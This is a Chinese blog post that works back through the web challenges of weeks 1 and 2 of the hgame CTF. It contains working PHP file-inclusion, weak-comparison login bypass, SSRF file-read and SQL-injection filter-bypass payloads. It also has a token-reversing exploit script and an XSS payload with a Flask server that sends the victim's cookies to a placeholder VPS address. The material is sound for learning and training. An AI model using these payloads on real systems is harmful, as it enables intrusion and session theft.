D~DIDI~DIDIDI!!!!

0%

hgame-Week1And2

hgame是杭电的比赛,比赛时间持续很长很长,一个4周,现在还在第四周的比赛中,然而five的我只做了week1这种签到题,后来就过年摸鱼去了,最近看汇编看的脑壳疼,才想起了还有这个,于是看着wp复现一下web部分的题目,这篇博客是web1&web2的。。。

0x01 Cosmos的博客

1

根据提示,可以知道和git有关,访问/.git/HEAD测试,发现确实存在该路径

1

使用githack可以得到文件,但是本地没有相关的分支,于是考虑是在github行,使用git remote -v可以找到仓库地址

2

最后在一个commit里面找到flag

3

解Base64得 hgame{g1t_le@k_1s_danger0us_!!!!}

0x02 街头霸王

根据提示一步步添加修改请求头,就可以了

4

0x03 Code World

控制台中发现302重定向

5

抓包找到跳转前得请求,直接发送出现405

6

改成以POST方式请求,可以得到一个人鸡交互界面

7

这里加号会被过滤,采用urlencode提交,这里因为是POST提交,所以还是要随便加一个POST参数

8

0x04 🐔尼泰玫

js游戏,直接将分数改掉就好

10

0x05 Cosmos的博客后台

10

action参数处可以文件包含,使用伪协议和base64,进行文件包含,可以得到base64逗得源码,解码后就可以得到源代码

Payload: action=php://filter/convert.base64-encode/resource=login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
include "config.php";
session_start();

//Only for debug
if (DEBUG_MODE){
if(isset($_GET['debug'])) {
$debug = $_GET['debug'];
if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
die("args error!");
}
eval("var_dump($$debug);");
}
}

if(isset($_SESSION['username'])) {
header("Location: admin.php");
exit();
}
else {
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
$_SESSION['username'] = $_POST['username'];
header("Location: admin.php");
exit();
}
else {
echo "用户名或密码错误";
}
}
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Cosmos的博客后台</title>
<link href="static/signin.css" rel="stylesheet">
<link href="static/sticky-footer.css" rel="stylesheet">
<link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
</head>

<body>

<div class="container">
<form class="form-signin" method="post" action="login.php">
<h2 class="form-signin-heading">后台登陆</h2>
<input type="text" name="username" class="form-control" placeholder="用户名" required autofocus>
<input type="password" name="password" class="form-control" placeholder="密码" required>
<input class="btn btn-lg btn-primary btn-block" type="submit" value="Submit">
</form>
</div>
<footer class="footer">
<center>
<div class="container">
<p class="text-muted">Created by Annevi</p>
</div>
</center>
</footer>
</body>
</html>

在login.php中可以找到登陆相关的代码

11

要求我们提交的参数,等于给定的参数,给定的两个参数admin_password和admin_username这个文件中没有看到,但是这个文件中包含了一个config.php,应该是放在这里面的,尝试去包含这个文件,然而过滤了config关键字,只能继续看login的代码

12

在这里可以看到可以使用GET方式提交一个debug参数,并且使用var_dump($$debug),var_dump() 函数用于输出变量的相关信息,显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构,在这里admin_password和admin_username是两个已定义的变量,所以可以使用$$GLOBALS全局变量得到这两个参数

13

最终我们得到admin_username为:Cosmos!

但是这里的admin_upassword是md5值,尝试解md5(做梦),答案肯定解不出来的233333

继续看代码,在登陆验证这里的password判断使用的是$admin_password == md5($_POST['password']

很明显要是用php的弱类型,在php中,0e在进行比较是,会被认为是科学计数法,也就是0的n次方,当然都是0了,所以我们只需要找到一个md5后开头为0e的字符串就好了233333,百度一下,就可以找到,这里使用s155964671a,成功登陆到了admin,把admin.php导出来,继续分析代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
include "config.php";
session_start();
if(!isset($_SESSION['username'])) {
header('Location: index.php');
exit();
}

function insert_img() {
if (isset($_POST['img_url'])) {
$img_url = @$_POST['img_url'];
$url_array = parse_url($img_url);
if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
return false;
}
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $img_url);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($c);
curl_close($c);
$avatar = base64_encode($res);

if(filter_var($img_url, FILTER_VALIDATE_URL)) {
return $avatar;
}
}
else {
return base64_encode(file_get_contents("static/logo.png"));
}
}
?>

<html>
<head>
<title>Cosmos'Blog - 后台管理</title>
</head>
<body>
<a href="logout.php">退出登陆</a>
<div style="text-align: center;">
<h1>Welcome <?php echo $_SESSION['username'];?> </h1>
</div>
<form action="" method="post">
<fieldset style="width: 30%;height: 20%;float:left">
<legend>插入图片</legend>
<p><label>图片url: <input type="text" name="img_url" placeholder=""></label></p>
<p><button type="submit" name="submit">插入</button></p>
</fieldset>
</form>
<fieldset style="width: 30%;height: 20%;float:left">
<legend>评论管理</legend>
<h2>待开发..</h2>
</fieldset>
<fieldset style="width: 30%;height: 20%;">
<legend>文章列表</legend>
<h2>待开发..</h2>
</fieldset>
<fieldset style="height: 50%">
<div style="text-align: center;">
<img height='200' width='500' src='data:image/jpeg;base64,<?php echo insert_img() ? insert_img() : base64_encode(file_get_contents("static/error.jpg")); ?>'>
</div>
</fieldset>
</body>
</html>

分析代码,导入图片处,可以直接文件包含,没有对文件类型进行限制,直接导入file://localhost/flag

14

解base64就可以得到flag => hgame{pHp_1s_Th3_B3sT_L4nGu4gE!@!}

0x06 Cosmos的留言板-1

这题没什么好说的,ID处为注入点,但是有点过滤,空格用/**/替换,select用selselectect替换,符号全部urlencode就好了

15

16

0x07 Cosmos的新语言

17

有代码,访问mycode,可以继续得到一个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function encrypt($str){
$result = '';
for($i = 0; $i &lt; strlen($str); $i++){
$result .= chr(ord($str[$i]) + 1);
}
return $result;
}

echo(str_rot13(encrypt(str_rot13(str_rot13(str_rot13(encrypt(strrev(base64_encode(encrypt(encrypt($_SERVER['token'])))))))))));

if(@$_POST['token'] === $_SERVER['token']){
echo($_SERVER['flag']);
}

分析代码大概可以知道,服务器会生成一个token参数,经过一系列处理之后,会直接输出,我们要做的的就是,那POST提交这个token参数,就需要去反向处理这个已知的参数,而这个参数和token的加密方法也是定时发生变化的,没办法手动处理,写个简单的代码就行了

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
function decrypt($str){
$result = '';
for($i = 0; $i < strlen($str); $i++){
$result .= chr(ord($str[$i]) - 1);
}
return $result;
}

//获取到页面中的token
$url = 'http://b2fb0c7062.php.hgame.n3ko.co/';

$token = file_get_contents($url);
$token = explode("\n", $token);
$token = substr($token[4], 0, -4);
$token = html_entity_decode($token);

//对加密方式进行处理
$op_function = file_get_contents($url . '/mycode');
$op_function = explode("\n", $op_function)[8];//第8个换行后为加密部分
$op_function = explode('(', $op_function);//以左括号分隔
$op_function = array_slice($op_function, 1, 10);//取序号1到10,共10个加密过程

//遍历这十个加密方式,开始解密
foreach($op_function as $value){
switch($value){
case 'base64_encode':
$token = base64_decode($token);
break;
case 'strrev':
$token = strrev($token);
break;
case 'str_rot13':
$token = str_rot13($token);
break;
case 'encrypt':
$token = decrypt($token);
break;
}
}

$options['http'] = array(
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => http_build_query(array('token' => $token))
);
$result = file_get_contents($url, false, stream_context_create($options));
echo($result);

?>

执行exp得到flag => hgame{51mPLE_$Cr1PT-wITH-pYTHON_OR-pHP}

0x08 Cosmos的聊天室

这道题,页面上有一个flag按钮,进入后要求要以admin的身份登陆

18

在页面中也很明显的给出了,提示,管理员就是这个机器人,我们要做的就是获取到机器人的cookie来替换我们自己的,正好提交按钮就可以把我们发送的消息拿给机器人看,很明显就是XSS了

19

但是这里发送消息过滤了所有的闭合html标签,需要想办法绕过,这里可以使用浏览器事件来执行js,不闭合右标签,让浏览器自动补全,然后使用引入外部页面的方式来获取token

payload:<link rel="import" href="http://vps的ip/"

在vps上起一个web服务,用于接收

1
2
3
4
5
6
7
8
9
from flask import *
app = Flask(__name__)
@app.route('/')
def hello_world():
response = make_response("<script>window.open('http://vps'ip/'+document.cookie)</script>")
response.headers['Access-Control-Allow-Origin'] = '*'
return response
if __name__ == '__main__':
app.run(host="0.0.0.0",port=1234)

1

得到admin的token后,替换本地的,访问/flag就可以得到flag了

21

0x09

emmm